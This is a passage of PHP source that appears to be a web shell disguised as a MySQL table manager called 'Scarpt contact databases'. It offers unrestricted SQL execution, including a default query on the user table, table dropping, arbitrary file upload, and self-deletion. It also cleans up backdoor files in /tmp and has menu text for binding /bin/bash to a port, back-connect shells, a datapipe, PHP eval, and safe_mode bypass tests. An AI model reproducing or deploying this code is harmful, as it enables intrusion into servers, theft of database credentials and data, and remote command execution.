        for ($x =0; $x < $flds; $x++){
                $fie = mysql_field_name($fields, $x );
        // SET and ENUM
         if(is_array($array[$x])){
            $mval="";
            for($m=0; $m < count($array[$x]); $m++){
                if($m+1 == count($array[$x])){
                    $mval.= AddSlashes($array[$x][$m]);
                }else{
                    $mval.= AddSlashes($array[$x][$m]).",";
                }
                $fval = $mval;
            }
        }else{
                    $fval = AddSlashes($array[$x]);
        }
        //**************************
                //$fval = AddSlashes($array[$x]);
                $qry .= "$fie = '$fval'";
                if ($x < $flds-1){
                        $qry.= ", ";
                }
        }
        $whr = buildwhr( $pk, $pv);
        $whr =StripSlashes($whr);
        $query .= "$qry";
        $query .= " where $whr";

    $result=exequery($query, $tablename, $dbname);
        if($result){
                return $result;
        }else{
                return false;
        }
}
//****************** Number of Primary Keys ***********************
function numpk($result){
        $z =0;
        for ($i = 0; $i < $flds; $i++) {
                //Find the primary key
                $flagstring = mysql_field_flags ($result, $i);
                if(eregi("primary",$flagstring )){
                        $z++;
                }
        }
        return $z;
}
//********************Size field*****************
function fieldformsize($ft, $i, $l){
        $ft= trim(strtoupper($ft));
        if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){
        }elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB"){
                echo"<input type=hidden name='leng[$i]' value=$l>";
        }elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB"){
                echo"<input type=hidden name='leng[$i]' value=$l>";
        }elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER"){
                echo"<input type=text name='leng[$i]' size=5  value=$l>";
        }elseif($ft=="YEAR" ){
                echo"<select name='leng[$i]'>";
                echo"<option value='4'>4";
                echo"<option value='2'>2";
                echo"</select>\n";
    }elseif($ft=="SET"|| $ft=="ENUM"){
        echo"<input type=text name='leng[$i]' title='values eg \"a\", \"b\", \"c\"' value='' />";
        }else{
                echo"<input type=text name='leng[$i]' size=5 value=$l />\n";
        }
}

//******************************Display Row ******************************
function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){
        $pkfs="";
        $hv="";
        $hf="";

        if($cpk >0 && !empty($pkfield)){
                for($a = 0; $a < $cpk; $a++){
                        $fieldn = $pkfield[$a];
                        $hf .= "<input type=hidden name=pk[$a] value='$pkfield[$a]' />";
                        $hv .= "<input type=hidden name=pv[$a] value='$row[$fieldn]' />";
                }
        }else{ //No Primary Key so use all fields
                $fields = mysql_list_fields($dbname, $tbl);
                for($b = 0; $b < $flds; $b++){
                        $fie = mysql_field_name($fields, $b );
                        $hf .= "<input type=hidden name=pk[$b] value='$fie' />";
                        $hv .= "<input type=hidden name=pv[$b] value='$row[$b]' />";
                }
        }
        echo"<tr>\n";
        //edit Record
        echo"<td><form action='$action' method=post>\n";
        echo"<input type=hidden name=dbname value='$dbname' />\n";
        echo"<input type=hidden name=tablename value='$tbl' />\n";
        echo"<input type=hidden name=npkeys value='$cpk' />\n";
        echo"$hf";
        echo"$hv";
        echo"<input class=sml type=submit name=edit value='Edit Record' />\n";
        echo"</form></td>\n";

        //Delete record
        echo"<td><form action='$action' method=post>\n";
        echo"<input type=hidden name=dbname value='$dbname' />\n";
        echo"<input type=hidden name=tablename value='$tbl' />\n";
        echo"<input type=hidden name=num value='$cpk' />\n";
        echo"$hf";
        echo"$hv";
        echo"<input class=smldel type=submit name=delete value='Delete Record' />\n";
        echo"</form></td>";

        //Display all the columns.
        for($col = 0; $col < $flds; $col ++){
                $nslash = StripSlashes($row[$col]);
                echo"<td>$nslash</td>";
        }
        echo"</tr>";

}
//***********************Remove Array Copy********************************
//removes copies from an array $x.

function removearraycopy($x){
        $leng= count($x);
        sort($x);
        $farr=array();

        for ($i =0; $i < $leng; $i++){
                $flag=false;
                for ($s =0; $s < count($farr); $s++){
                        if($x[$i]==$farr[$s]){
                                $flag=true;
                        }
                }
                if ($flag == false){
                        $farr[count($farr)] = $x[$i];
                }
        }
        return $farr;
}
//***********************<< page position >>********************************
function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){
        $pgs = $num_rows/$pagemax;
        $pgs=ceil($pgs);
                            //round up the number of pages.
        echo"<form action='$action' id='recspage' method='post' name='recspage'>\n";
    echo"Total number of records $num_rows, displayed on $pgs pages of \n";
    echo"<input type='text'  name='pagemax' value='$pagemax' size='4' onchange='javascript:this.form.submit();' title='Type the number records to display on a page then click outside the box' /> \n";
        echo"<input type='hidden' name='searchval' value='$searchval'  />\n";
    echo"<input type='hidden' name='tablename' value='$tablename'  />\n";
    echo"records per page.</form> \n";
    $pagescrol="";
    $sval="";
          if($pgs >1){
            $pagescrol="<div class='pagecount'>\n";
                        $nxt=$pg+1;
            $bk=$pg-1;
            $lst=$pgs;
            $end=$lst-1;
            $showp=$pg+1;
           if($searchval !=""){
            $sval="&amp;searchval=$searchval";
           }
           $pagescrol .= "<form name='pages' id='pages' action='$action' method='get'>\n";
            if($pg>=1){
                $pagescrol .= " <a href='$action?tablename=$tablename&amp;pg=0$sval' title='To first page'> 1 :<< </a> \n";
                                $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$bk$sval' title='Back one page'> < </a> \n";
                        }
           $pagescrol .= "<input type='text' name='pg' value='$showp' size='4' onchange='javascript:this.form.submit();' title='Type a page number then click outside the box' />\n";
           $pagescrol .= "<input type='hidden' name='pback' value='true'  />\n";
           $pagescrol .= "<input type='hidden' name='searchval' value='$searchval'  />\n";
           $pagescrol .= "<input type='hidden' name='tablename' value='$tablename'  />\n";

           if($showp < $lst){
                $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$nxt$sval' title='Next page'> > </a> \n";
                $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$end$sval' title='To Last page'> >>: $lst</a> \n";
           }
           $pagescrol .= "</form>\n";
           $pagescrol.="</div>\n";
      }
        return $pagescrol;
}

//*************Display Footer*************************
//Please don't remove or change.
function display_foot(){

    echo"<div class='foot'>Version $version &copy; ".date('Y')." <a style='text-decoration:none;' target='_blank' href='http://vnbrain.net'>ly0kha</a></div>";

    }
//*************My Size*************************
//Returns the size of a table or database
function mysize($dbname, $tablename){
    $like="";
    $total="";
    $t=0;
    if($tablename !=""){
        $like=" like '$tablename'";
    }
    $sql= "SHOW TABLE STATUS FROM $dbname $like";
    //$result = mysql_query($sql);
    $result=exequery($sql, $tablename, $dbname);
    if($result){

        while($rec = mysql_fetch_array($result)){
         $t+=($rec['Data_length'] + $rec['Index_length']);
         }
        $total ="<span class='bytes'>$t bytes</span>";
    }else{
        $total="Unknowen";
    }
    return($total);
}


//**************************************
//DEBUG to show all being passed to the page
function showpassingvars(){
        echo"Get: ";
         foreach($_GET as $pram=>$value){
                 echo"$pram: $value, ";
         }
        echo"<br>Post: ";
         foreach($_POST as $pram=>$value){
                  echo"$pram: $value, ";
         }
         echo"<br>Session: ";
         foreach($_SESSION as $pram=>$value){
                 echo"$pram: $value, ";
         }
 }
echo"<html>\n";
echo"<meta http-equiv='Content-Type' content='text/html; charset=windows-1256'>\n";
echo"<head>\n";
echo"<title>Scarpt contact databases</title>\n";
echo"<STYLE>

BODY
 {
        SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}

tr {
BORDER-RIGHT:  #cccccc ;
BORDER-TOP:    #cccccc ;
BORDER-LEFT:   #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #ffffff;
}
td {
BORDER-RIGHT:  #cccccc ;
BORDER-TOP:    #cccccc ;
BORDER-LEFT:   #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #cccccc;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #cccccc;
}
table {
BORDER:  #eeeeee  outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input {
BORDER-RIGHT:  #990000 1 solid;
BORDER-TOP:    #990000 1 solid;
BORDER-LEFT:   #990000 1 solid;
BORDER-BOTTOM: #990000 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT:  #ffffff 1 solid;
BORDER-TOP:    #999999 1 solid;
BORDER-LEFT:   #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit {
BORDER:  buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea {
BORDER-RIGHT:  #ffffff 1 solid;
BORDER-TOP:    #999999 1 solid;
BORDER-LEFT:   #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #cccccc;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}


</STYLE>\n";
echo"<meta http-equiv='Content-Type' content='text/html charset=windows-1256'>";
echo"<title>Scarpt contact databases </title>\n";
echo"<meta name='author' content='Tony Aslett'>";
echo"<meta name='title' content='PHP:MySQL Table Manager'>";
echo"<meta name='description' content='Table Manager for MySQL Database'>";
echo"<link rel='stylesheet' href='tmgrstyles.css' type='text/css'>\n";
echo"</head>\n";
echo"<body>\n";

$showall=true;
echo"<h2 class=h >Scarpt contact databases </h2>\n";
//******************* Session Logon ***********************
if(isset($_POST['logout'])){

                $_POST['dbname']="";
                session_unset();
                session_destroy();
}
if(isset($_POST['userid']) && isset($_POST['pword1'])){
        $_SESSION['user'] = $_POST['userid'];
        $_SESSION['password'] = $_POST['pword1'];
}

if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){
        echo"<div align=center>";
        echo"<h2>Enter data server Penetrator</h2>\n";
        If(!isset($dbnamearray)){
                $dbnamearray="";
        }
        show_login($dbnamearray);
        echo"</div>";
}else{
        //show logout option.
        echo"<div align=right>";
        endsess();
        echo"</div>";
}
//*****dbname
if(isset($_POST['dbname'])){
        $dbname=$_POST['dbname'];
    $_SESSION['dbname']= $_POST['dbname'];
}
//***** Host
if(isset($_POST['host'])){
    $host=$_POST['host'];
    $_SESSION['host']=$_POST['host'];
}
//******set tablename
if(isset($_GET['tablename']) ){
        $tablename=$_GET['tablename'];
}elseif(isset($_POST['tablename'])){
        $tablename=$_POST['tablename'];
}
//********** pagemax
if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){
    $isnum=true;
    for($o=0; $o<count($_POST['pagemax']); $o++){
            if($_POST['pagemax'][$o]>9){
                $isnum=false;
            }
    }
    if($_POST['pagemax']>0 && $isnum){
        $_SESSION['pagemax']=$_POST['pagemax'];
    }
}
 if(isset($_SESSION['pagemax'])){
    $pagemax=$_SESSION['pagemax'];
 }
//******** create a new Database ************
if(isset($_POST['cndb'])){
    connectmysql();
        $sql="create database $_POST[ndbname]";
        $result=exequery($sql, " ", $_POST['ndbname']);
        if ($result){
                $_SESSION['dbname'] = $_POST['ndbname'];
        $sql="Use $_POST[ndbname]";
            $result=exequery($sql, " ", $_POST['ndbname']);
        if($result){
            echo"<h2>????? ????? $_SESSION[dbname] </h2>\n";
        }
        }
}

//*********************************************
if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post
        //Databse names
        showdb();
}
//************************ Choose DB *************
if(isset($_POST['dbname']) && $_POST['dbname']==""){
    showdb();
}

//**********
if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){
//*************************************
                //connection

                if (isset($_SESSION['dbname'])){
                        $dbsetname = $_SESSION['dbname'];
                }elseif(isset($_POST['dbname'])){
                        $dbsetname = $_POST['dbname'];
                        $_SESSION['dbname'] = $_POST['dbname'];
                }else{
                        $dbsetname = $_POST['dbna'];
                        $_SESSION['dbname'] = $_POST['dbna'];
                }
}
//*************************** we have a DB set
if(isset($dbsetname) && $dbsetname!=""){
                    $link= connectmysql();
            //echo"DBS: $dbsetname";
                    $conn = connectdb($dbsetname, $link);

//*********** Drop Table **************
        if(isset($_POST['deltable'])){
        $showall=false;
                $tablename=$_POST['tablename'];
                echo"<h1>!!! Warning!!!<br>You are trying to Clear this table $tablename<br>";
                echo"Are you sure you want to do process?</h1>\n";
                $va="Drop $tablename";
                goto($tablename, $dbname,$action, 'del', 'droptab', $va );
        }
        if(isset($_POST['droptab'])){
                $tablename=$_POST['tablename'];
                $dsql = "drop table $tablename";
                $result=exequery($dsql, $tablename, $dbname);
                unset($tablename); //="false";
                unset($_POST['tablename']);
        }
//*****************Write Your Own Query *****************
        if(isset($_POST['wyoq'])){  //post
                $value="The main facade of Scarpt";
                goto($tablename, $dbname, $action, 'but', 'start', $value );
                echo"<form method='post'>\n";
                echo"<input type='hidden' name='dbname' value=$dbname>\n";
                //echo"<input type=text name='wyqota' width='500px' style='overflow-x:visible;'>\n";

                echo"<textarea name='wyoqta' cols='60' rows='5' style='overflow-y:visible'></textarea>\n";

                echo"<br><input class=but type=submit name='runquery' value='Execute Query'>\n";
                echo"</form><br>\n";
        }

        if(isset($_POST['runquery'])){
                $wyoqta = StripSlashes($_POST['wyoqta']);
                $result=exequery($wyoqta, " ", " ");

                if(@mysql_num_rows($result) >0){
                         $numrows=mysql_num_rows($result);
                        $flds=mysql_num_fields($result);
                        echo"<table>";
                        for($r=0; $r < $numrows; $r++){
                                echo"<tr>";
                                $row=mysql_fetch_array($result);
                                for($col = 0; $col < $flds; $col ++){
                                        $nslash = StripSlashes($row[$col]);
                                        echo"<td>$nslash</td>";
                                }
                                echo"</tr>";
                        }
                        echo"</table>";
                }elseif (mysql_affected_rows()){
                        echo" Number of Rows affected: ".mysql_affected_rows();
                }else{
                        echo" Nothing returned from the query.";
                }
        }
// ****************List Tables***************************

        if( ! isset($tablename) || $tablename==" " ){
                $dbname=$_SESSION['dbname'];
                $result = mysql_list_tables($_SESSION['dbname']);
                 $numtab = mysql_num_rows ($result);
                 if($numtab == 1){
                        $_SESSION['tablename'] =mysql_tablename($result, 0);
                 }

//***************** Buttons ******************************
                if (isset($_POST['runquery'])){
                        $dbname=$_SESSION['dbname'];
                        $value="$dbname Start"; //Table Manager Start
                        goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value );

                }elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query.
                        echo"<table width=40% border=0 align='left' >\n";
                        echo"<tr><td>";

                        $va="The establishment of a new scale";
                        goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va );
          //  echo"<a href=create.php class='crt'>Create new Table</a>\n";
                        echo"</td><td>";

        $value="The main facade"; //Choose DB
                goto("", "", $action, 'but', 'db', $value );
                echo"</td>\n";

                        $value="Write Your Own Query";
                        goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );

                        echo"</td></tr>";
                        echo"</table><br><br><br><br><div style='clear:both;'></div>";

                        echo"<table width=100% border=0 align='center' >\n";
                        for ($i =0; $i < $numtab; $i++) {

                                $tb_names[$i] = mysql_tablename($result, $i);
                                echo"<tr class='frow'><td align='center'>\n";

                                $va="The agenda* $tb_names[$i]";
                                goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va );
                                echo"</td><td  align='center' valign='middle'>\n";

                                $va="Survey agenda $tb_names[$i]";
                                goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va );
                                echo"</td><td  align='center' valign='middle'>\n";

                                $va="Alter Table $tb_names[$i]";
                                goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
                                echo"</td><td align='center' valign='middle'>\n";

                                searchtableform($tb_names[$i], $_SESSION['dbname']);
                                echo"</td><td>";
                //Table size in bytes
               echo mysize($_SESSION['dbname'],$tb_names[$i]);

                echo"</td></tr>\n";
                        }//for
                        echo"</table>\n";
                }

        }else{ //tablename is set
//***************** menu *****************************************
                echo"<table><tr class='frow'><td>\n";
                $value="$_SESSION[dbname] Start"; //Ex Table Manager Start
                goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
                echo"</td>\n";

        echo"<td>\n";
        $value="The main facade"; //Choose DB
                goto("", "", $action, 'but', 'start', $value );
                echo"</td>\n";

        echo"<td>\n";
        $value="Write Your Own Query";
                goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
        echo"</td>\n";

                if (!isset($_POST['add']) && !isset($_POST['deltable']) && isset($tablename)){
                        echo"<td>";
                        //$tablename = $_POST['tablename'];
                        $va="Add a $tablename Record";
                        goto($tablename, $_SESSION['dbname'], 'alter.php', 'but', 'add', $va );
                        echo"</td>\n";
                }

                if (!isset($_POST['deltable'])){
                        echo"<td>\n";
                        searchtableform($tablename, $_SESSION['dbname']);
                        echo"</td>\n";
                }
                echo"</tr></table>\n";
                echo"<br />\n";

//**************************************************

                if(isset($_POST['addrec'])){
           // $showall=false;
                        $result=addrecord($tablename, $_SESSION['dbname'], $_POST['array']);
                }elseif(isset($_POST['add'])){
            $showall=false;
                        addform($tablename, $_SESSION['dbname']);
                }elseif(isset($_POST['delete'])){
                        //delete record has been pushed
           // $showall=false;
                        $whr=buildwhr($_POST['pk'], $_POST['pv']);
                        $sql = "delete from $tablename where $whr";
                        $result=exequery($sql, $tablename, $_SESSION['dbname']);
                }elseif (isset($_POST['edit'])){//Edit
            $showall=false;
                        $whr = buildwhr( $_POST['pk'], $_POST['pv']);
                        //$tablename = $_SESSION['tablename'];
                        $sql= "Select * from $tablename where $whr";

                        $result=exequery($sql, $tablename, $_SESSION['dbname']);
                        editform($tablename, $_SESSION['dbname'], $result, 'edit', $_POST['pk'], $_POST['pv']);
                }elseif(isset($_POST['editrec'])){
           // $showall=false;
                        $result=editrec($_SESSION['dbname'],$tablename, $_POST['pk'], $_POST['pv'], $_POST['array']);
                }
//**************** Search ************************************
                if(isset($_POST['searchval'])){
                        $searchval=$_POST['searchval'];
                }elseif(isset($_GET['searchval'])){
                        $searchval=$_GET['searchval'];
                }else{
                        $searchval="";
                }

                if (isset($_GET['tablename'])){
                        $tablename = $_GET['tablename'];
                }

                if((isset($_POST['search'])|| isset($searchval)) && $searchval !=""){
                        $result=searcht($tablename, $_SESSION['dbname'],  $searchval);
                }else{
                        //Display All
                        $query = "select * from $tablename";
                        $result=exequery($query, $tablename, $_SESSION['dbname']);
                }

//***************** Display record count *****************************************
        if($showall){
            $num_rows = mysql_num_rows($result);
            //Workout whick page to display
                    if(!isset($_GET['pg']) && !isset($pg)){
                            $beg=0;
                $pg=0;
                    }else{
                if(isset($_GET['pback'])){
                    $pg=$_GET['pg'];
                }else{
                    $pg=$_GET['pg'];
                }
                 if($pg < 0 ){
                    $pg=0;
                }
                if($pg > $num_rows/$pagemax){
                    $pg=ceil($num_rows/$pagemax)-1;
                }
                $beg = $pg * $pagemax;

                    }
                    if (!isset($_POST['add'])){
                            $pscrol=" ";
                            $pagescrol =" ";

                            $pagescrol = whichpage($num_rows, $pagemax, $pg, $tablename, $searchval);

                            echo "$pagescrol\n"; //Display next Top page menu

                            $flds = mysql_num_fields($result);
                            echo"<table border=0 width='100%'>\n";
                            echo"<tr class=head><td></td><td></td>\n";
                            $fields = mysql_list_fields( $_SESSION['dbname'], $tablename);

                            $z=0;
                            $x =0;
                            $pkfield=array();

//*************Display each of the field names.***************************
                            for ($i = 0; $i < $flds; $i++) {
                                        echo "<td>".mysql_field_name($fields, $i)."</td>\n";

                                    //Find the primary key
                                    $flagstring = mysql_field_flags ($result, $i);
                                    if(eregi("primary",$flagstring )){
                                            $pk[$z] = $i;

                                            $pkfield[$z]= mysql_field_name($fields, $i);
                                            $z++;
                                    }
                            }
                            echo"</tr>\n";
                            $tbl=$tablename;
                            //if(isset($pk)){
                            if($z > 0){
                                    $cpk=count($pk);
                            }else{
                                    $cpk=0;
                            }

//************Display each row from the table.********************************

                            for ($s=$beg; $s < $beg + $pagemax; $s++){
                                    if($s < $num_rows){
                                            if (!mysql_data_seek ($result, $s)) {
                                        echo "Cannot seek to row $s\n";
                                        continue;
                                    }
                                            $row=mysql_fetch_array($result);
                                            if(!isset($pk)){
                                                    $pk=" ";
                                                    $pkfield= array();
                                            }
                                            displayrow($_SESSION['dbname'], $tbl, $pk, $pkfield, $cpk, $row, $flds);
                                    }
                            }
                    }
                    echo"</table>\n";
                    if (!isset($_POST['add']) && !isset($_POST['edit']) && !isset($_POST['deltable']) && !isset($_POST['droptab']) && !isset($_POST['wyoq']) && $tablename){
                            echo"<br>";
                            echo "$pagescrol\n"; //Display bottom next page menu
                    }
                    echo"<br><br>\n";
                 }//showall
                 if(isset($_POST['tablename'])){
                         echo"<table border=0>";
                     echo"<tr><td>";
                         $tablename=$_POST['tablename'];
                         $va="Alter Table $tablename";
                         goto( $tablename,  $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
                         echo"</td></tr>\n";
                         echo"</table>\n";
                }
        }
}
display_foot();
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";  die(); }

if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
 {
 echo $head;
 $sql = new my_sql();
 $sql->db   = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $_POST['mysql_p'];
 $sql->base = $_POST['mysql_db'];
 $querys = @explode(';',$_POST['db_query']);
 echo '<body bgcolor=#000000>';
 if(!$sql->connect()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
  else
   {
   if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=tahoma size=-2 color=red><b>?? ?????? ????? ????? ????????</b></font></div>";
   else
    {
    foreach($querys as $num=>$query)
     {
      if(strlen($query)>5)
      {
      echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
      switch($sql->query($query))
       {
       case '0':
       echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
       break;
       case '1':
       if($sql->get_result())
        {
               echo "<table width=100%>";
        foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
               $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=tahoma size=-2><b>&nbsp;", $sql->columns);
        echo "<tr><td bgcolor=#333333><font face=tahoma size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
        for($i=0;$i<$sql->num_rows;$i++)
         {
         foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
         $values = @implode("&nbsp;</font></td><td><font face=tahoma size=-2>&nbsp;",$sql->rows[$i]);
         echo '<tr><td><font face=tahoma size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
         }
        echo "</table>";
        }
       break;
       case '2':
       $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
       echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
       break;
       }
      }
     }
    }
   }
 echo "<br><form name=form method=POST>";
 echo in('hidden','db',0,$_POST['db']);
 echo in('hidden','db_server',0,$_POST['db_server']);
 echo in('hidden','db_port',0,$_POST['db_port']);
 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
 echo in('hidden','cmd',0,'db_query');
 echo "<div align=center>";
 echo "<font face=tahoma size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
 echo "</form>";
 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
 }
if(isset($_GET['delete']))
 {
   @unlink(__FILE__);
 }
if(isset($_GET['tmp']))
 {
 @unlink("/tmp/backpy");
 @unlink("/tmp/bind");
   @unlink("/tmp/bdpl");
   @unlink("/tmp/back");
   @unlink("/tmp/bd");
   @unlink("/tmp/bd.c");
   @unlink("/tmp/dp");
   @unlink("/tmp/dpc");
   @unlink("/tmp/dpc.c");
   @unlink("/tmp/back1.php");
   @unlink("/tmp/back2.php");
 }
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
 {
 if ($value == '') return '<i>no value</i>';
 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
 if ($value === null) return 'NULL';
 if (@is_object($value)) $value = (array) $value;
 if (@is_array($value))
 {
 @ob_start();
 print_r($value);
 $value = @ob_get_contents();
 @ob_end_clean();
 }
 return U_wordwrap((string) $value);
 }
function U_wordwrap($str)
 {
 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
 }
if (@function_exists('ini_get_all'))
 {
 $r = '';
 echo '<table width=100%>', '<tr><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
 foreach (@ini_get_all() as $key=>$value)
  {
  $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  }
 echo $r;
 echo '</table>';
 }
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}

if(isset($_GET['uploadds']))
 {
   echo $head;

 if( $_POST['_upl'] == "Upload" ) {    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center"><b>Upload Successfully :)</b><br><br></p>'; }
 else { echo '<p align="center"><b>Sorry You Cant :(</b><br><br></p>'; }}
  echo '<br><center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">    <font color="#0000FF"><b></b></font><br><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>';



   echo '</table>';
   echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }

if(isset($_GET['mem']))
 {
   echo $head;
   echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
   $memf = @file("meminfo");
   if($memf)
    {
      $c = sizeof($memf);
      for($i=0;$i<$c;$i++)
        {
          $info = explode(":",$memf[$i]);
          if($info[1]==""){ $info[1]="---"; }
          $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }
$lang=array(
'eng_text1' =>'Executed command',
'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_butt1' =>'Execute',
'eng_butt2' =>'Upload',
'eng_text9' =>'Bind port to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password for access',
'eng_butt3' =>'Bind',
'eng_text12'=>'back-connect',
'eng_text13'=>'IP',
'eng_text14'=>'Port',
'eng_butt4' =>'Connect',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text19'=>'Exploits',
'eng_text20'=>'Use',
'eng_text21'=>'&nbsp;New name',
'eng_text22'=>'datapipe',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text26'=>'Use',
'eng_butt5' =>'Run',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'ACCESS DENIED',
'eng_butt6' =>'Change',
'eng_text30'=>'Cat file',
'eng_butt7' =>'Show',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions',
'eng_butt8' =>'Test',
'eng_text34'=>'Test bypass safe_mode with include function',
'eng_text35'=>'Test bypass safe_mode with load file in mysql',
